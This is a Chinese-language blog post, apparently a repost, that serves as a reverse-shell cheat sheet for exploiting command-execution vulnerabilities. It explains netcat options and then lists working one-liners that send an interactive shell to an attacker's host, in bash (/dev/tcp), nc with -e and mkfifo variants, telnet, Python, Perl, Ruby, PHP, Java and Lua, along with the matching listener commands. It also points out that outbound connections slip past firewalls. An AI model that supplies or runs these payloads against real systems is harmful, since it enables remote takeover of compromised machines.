netcat反弹shell

news/2024/10/19 9:46:28/

命令执行·nc反弹shell 瑞士军刀

在执行命令漏洞,一般的利用漏洞是执行反弹shell在进行其他操作。

执行反弹shell的命令有许多。

反弹shell因为是受害者,反向连接远程服务器,请求是内部到外部,所以防火墙是不会进行拦截的。

反弹shell备忘录_CKCsec的博客-CSDN博客

【linux】反弹备忘录_nc lvvp是什么意思_刘—手的博客-CSDN博客

Netcat常用参数:

  • -l: 开启监听
  • -p:指定端口
  • -t: 以telnet形式应答
  • -e:程序重定向
  • -n:以数字形式表示ip
  • -v:显示执行命令过程
  • -z : 不进行交互,直接显示结果
  • -u :使用UDP协议传输
  • -w : 设置超时时间

远程服务器nc监听命令

nc -vlnp 9001

现在任何客户端都可以连接到开启的8080端口的

连接命令

受害者反弹shell命令,每种语言都有sock连接命令,可以根据不同的环境,选择合适的命令。

bash

bash -i >& /dev/tcp/192.168.16.249/9001 0>&1

注释:

0:标准输入;1:标准输出;2:标准错误。

bash -i:产生一个交互式环境

>&:将标准输出和标准错误结合,一起重定向给后者

/dev/tcp/ip/port:建立一个tcp连接

0>&1:将标准输入重定向到标准输出

linux

rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

or

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

nc(netcat)反弹

攻击者主机上执行监听命令:

nc -lvvp port
1

目标主机上执行:

nc -e /bin/bash x.x.x.x port
1

如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:
1

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f
1

注:
mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信。

2.

nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555   #从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。
1

3

 nc -c /bin/sh x.x.x.x 4444
1

4

/bin/sh | nc x.x.x.x 4444
1

常见脚本反弹

1.Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
1

2. Perl

方法一:

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1

方法二:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
1

3. Ruby

方法一:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
1

方法二:

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
1

4. PHP

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
1

5. Java

   public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception {// TODO Auto-generated method stubRuntime r = Runtime.getRuntime();String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};Process p = r.exec(cmd);p.waitFor();}
}
12345678910111213

6. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
1

注:以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击者ip,并且需要在攻击者主机上进行监听:

nc -lvvp 5555

http://www.ppmy.cn/news/1026365.html

相关文章

生成树协议用来解决网络风暴的问题?(第三十二课)

生成树协议用来解决网络风暴的问题?(第三十二课) 一 STP RSTP MSTP 介绍 STP(Spanning Tree Protocol)、RSTP(Rapid Spanning Tree Protocol)和MSTP(Multiple Spanning Tree Protocol)都是用于网络中避免环路的协议。 STP是最初的协议,它通过将某些端口阻塞来防止…

响应领导号召,打赢攻坚战

大周末的跑来加班&#xff0c;过来监督成员干活&#xff0c;响应领导号召&#xff0c;打赢攻坚战。 事业单位很喜欢玩攻坚&#xff0c;今年是第三次了&#xff0c;NND。预计今年还会有一两次。 平常都跟大爷一样的&#xff0c;不急不躁&#xff0c;系统上线个把月了&#xff0c…

Centos 8和Centos 7中配置阿里云的 yum 源

YUM源简介 yum是一种在Linux环境下安装、更新和删除软件包的软件管理器。通过yum&#xff0c;用户可以轻松地从软件仓库中搜索和安装包含所需软件的软件包&#xff0c;并自动处理所需的依赖关系。此外&#xff0c;yum还可以与其他软件管理工具配合使用&#xff0c;例如rpm。它…

DP1.4接口的PCB布局布线要求

DP接口即为DisplayPort接口&#xff0c;是由视频电子标准协会发布的显示接口。DP接口将在传输视频信号的同时加入对高清音频信号传输的支持&#xff0c;并且同时支持更高的分辨率以及刷新率。DP1.4通信端口规范新标准基于DP1.3规范&#xff0c;宽度不变但加入了显示压缩流技术&…

【hello C++】智能指针

目录 一、内存泄漏 1.1 什么是内存泄漏&#xff0c;内存泄漏的危害 1.2 内存泄漏分类 1.3 如何检测内存泄漏 1.4 如何避免内存泄漏 二、智能指针的使用及原理 2.1 RAII 2.2 智能指针的原理 2.3 智能指针的发展历程 2.4 智能指针的模拟及实现 三、shared_ptr 常见的问题 3.1 线程…

【微信小程序】通过调用 wx.navigateBack() 方法来退出当前界面并返回上一个界面

在点击某个按钮或执行某个条件时触发&#xff0c;示例代码&#xff1a; wx.navigateBack({delta: 1 // 返回上一个界面&#xff0c;如果要返回多个界面&#xff0c;可以增加 delta 的值 });在这个示例中&#xff0c;delta 参数指定了要返回的界面数。如果你只想返回上一个界面…

黑马项目一完结后阶段面试45题 JavaSE基础部分20题(二)

十一、集合体系结构和特点 Collection └ List 有索引&#xff0c;存取一致&#xff0c;有序&#xff0c;元素允许重复 ┃ └ ArrayLIst ┃ └ LinkedList ┃ └ Vector └ Set 无索引&#xff0c;无序&#xff0c;元素不允许重复 └ HashSet └ TreeSet └ Linke…

带着问题学习分布式系统

写在前面 听过很多道理&#xff0c;却依然过不好这一生。 看过很多关于学习的技巧、方法&#xff0c;却没应用到自己的学习中。 随着年纪变大&#xff0c;记忆力越来越差&#xff0c;整块的时间也越来越少&#xff0c;于是&#xff0c;越来越希望能够更高效的学习。学习是一种习…